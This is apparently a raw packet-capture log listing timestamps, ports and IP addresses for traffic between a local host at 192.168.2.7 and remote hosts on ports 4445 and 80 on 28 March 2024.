Mar 28, 2024 13:59:16.295068979 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295085907 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295130014 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295156956 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295203924 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295258045 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295274973 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295356989 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295378923 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295416117 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295444965 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295511007 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295541048 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295583963 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295639038 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295650005 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295694113 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.295775890 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.434125900 CET	80	49712	178.237.33.50	192.168.2.7
Mar 28, 2024 13:59:16.434206963 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 13:59:16.440784931 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 13:59:16.454711914 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454751968 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454790115 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454804897 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454833031 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.454862118 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454885006 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454888105 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.454899073 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454914093 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454929113 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454967022 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.454977989 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.454977989 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.454982042 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455010891 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455010891 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455058098 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455060959 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455086946 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455101013 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455125093 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455142975 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455166101 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455178022 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455180883 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455195904 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455220938 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455245972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455246925 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455272913 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455279112 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455292940 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455317020 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455331087 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455363989 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455380917 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455427885 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455429077 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455472946 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455485106 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455487967 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455504894 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455521107 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455529928 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455545902 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455549955 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455580950 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455596924 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455610991 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455647945 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455650091 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455650091 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455673933 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455718994 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455749035 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455749035 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455763102 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.455862999 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.455862999 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615231037 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615258932 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615305901 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615324974 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615339041 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615345001 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615370035 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615401030 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615410089 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615410089 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615438938 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615483999 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615505934 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615520954 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615577936 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615623951 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615696907 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615747929 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615797043 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615828991 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615874052 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615894079 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615917921 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.615968943 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.615977049 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616015911 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616053104 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616091013 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616095066 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616105080 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616154909 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616161108 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616168976 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616182089 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616193056 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616239071 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616240025 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616241932 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616292953 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616317034 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616329908 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616341114 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616396904 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616399050 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616440058 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616473913 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616476059 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616571903 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616620064 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616714001 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616765976 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616784096 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616853952 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616914988 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.616961956 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.616964102 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617012024 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617050886 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617053032 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617073059 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617085934 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617099047 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617121935 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617125988 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617145061 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617165089 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617177010 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617177963 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617191076 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617213964 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617233992 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617254972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617274046 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617280006 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617314100 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617341995 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617429972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617486000 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617505074 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617506981 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617552042 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617599964 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617636919 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617638111 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617681026 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617705107 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617724895 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617749929 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617785931 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617798090 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617810965 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617837906 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617851973 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617855072 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617855072 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617885113 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617897987 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617902994 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617911100 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.617938995 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.617959023 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618032932 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618046045 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618052006 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618058920 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618071079 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618099928 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618112087 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618113041 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618113995 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618124962 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618149996 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618160963 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618216038 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618251085 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618266106 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618294954 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.618345022 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618418932 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.618458033 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.624198914 CET	80	49712	178.237.33.50	192.168.2.7
Mar 28, 2024 13:59:16.624300003 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 13:59:16.654270887 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.775736094 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.775783062 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.775897980 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.775979996 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776062012 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776118040 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.776304960 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776432037 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776496887 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.776529074 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776659966 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776720047 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.776802063 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.776957989 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.777048111 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.777122974 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.777148962 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.777239084 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.777271986 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.777827978 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.777879953 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.778585911 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.778681040 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.778731108 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.778846025 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.778934002 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.778991938 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.779031992 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779113054 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779165030 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.779186964 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779283047 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779504061 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779534101 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.779577017 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779645920 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.779676914 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779772043 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779953957 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.779999971 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.780035973 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780101061 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.780256987 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780358076 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780424118 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780436993 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.780509949 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780567884 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.780600071 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780697107 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780750990 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.780771971 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.780931950 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.781073093 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.781481981 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.781583071 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.781651020 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.781728983 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.781842947 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.781934023 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.781940937 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782422066 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782488108 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.782500982 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782579899 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782634974 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.782697916 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782820940 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.782871962 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.783009052 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783227921 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783286095 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783291101 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.783423901 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783521891 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783525944 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.783620119 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.783680916 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.783744097 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784030914 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784087896 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.784147024 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784249067 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784296036 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.784301043 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784651041 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784719944 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.784758091 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.784949064 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785031080 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785044909 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.785120964 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785173893 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.785206079 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785510063 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785573006 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.785608053 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785710096 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.785804033 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.786294937 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.786458969 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.786529064 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.786751986 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787159920 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787283897 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.787300110 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787493944 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787558079 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.787617922 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787727118 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787777901 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.787857056 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.787935972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788048983 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788104057 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788121939 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788156986 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788192987 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788290024 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788343906 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788346052 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788397074 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788451910 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788455963 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788528919 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788577080 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788593054 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788655996 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788686037 CET	4445	49711	192.3.109.132	192.168.2.7
